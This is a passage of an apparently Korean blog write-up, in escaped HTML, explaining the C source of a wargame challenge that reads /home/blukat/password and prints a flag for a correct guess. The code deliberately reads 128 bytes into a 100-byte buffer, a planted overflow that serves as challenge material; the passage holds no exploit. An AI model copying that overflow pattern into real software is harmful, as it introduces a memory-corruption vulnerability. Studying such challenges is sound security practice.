14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;calc_flag(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;s){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strlen(s);&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;s[i]&amp;nbsp;^&amp;nbsp;key[i];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;flag);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fp&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fopen(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/home/blukat/password&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fgets(password,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;fp);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buf[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;guess&amp;nbsp;the&amp;nbsp;password!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fgets(buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;stdin);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcmp(password,&amp;nbsp;buf)){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;congrats!&amp;nbsp;here&amp;nbsp;is&amp;nbsp;your&amp;nbsp;flag:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;calc_flag(password);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;wrong&amp;nbsp;guess!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fopen() 함수를 이용해 &quot;/home/blukat/password&quot; 경로의 파일을 read 권한으로 읽어 File pointer fp에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fgets() 함수를 이용해 password 배열에 100 byte 만큼 fp가 가리키는 파일의 내용을 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fp&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fopen(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/home/blukat/password&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fgets(password,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;fp);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;100 byte char 배열 buf를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;guess the password!\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;사용자로부터 buf에 128 byte 입력을 받는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buf[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;guess&amp;nbsp;the&amp;nbsp;password!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fgets(buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;stdin);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 사용자가 입력한 문자열과, &quot;/home/blukat/password&quot;의 문자열이 일치한다면&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;congrats! here is your flag: &quot;를 출력하고, calc_flag()를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 일치하지 않는다면 &quot;wrong guess!\n&quot;를 출력하고 프로그램을 종료한다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcmp(password,&amp;nbsp;buf)){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;congrats!&amp;nbsp;here&amp;nbsp;is&amp;nbsp;your&amp;nbsp;flag:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; 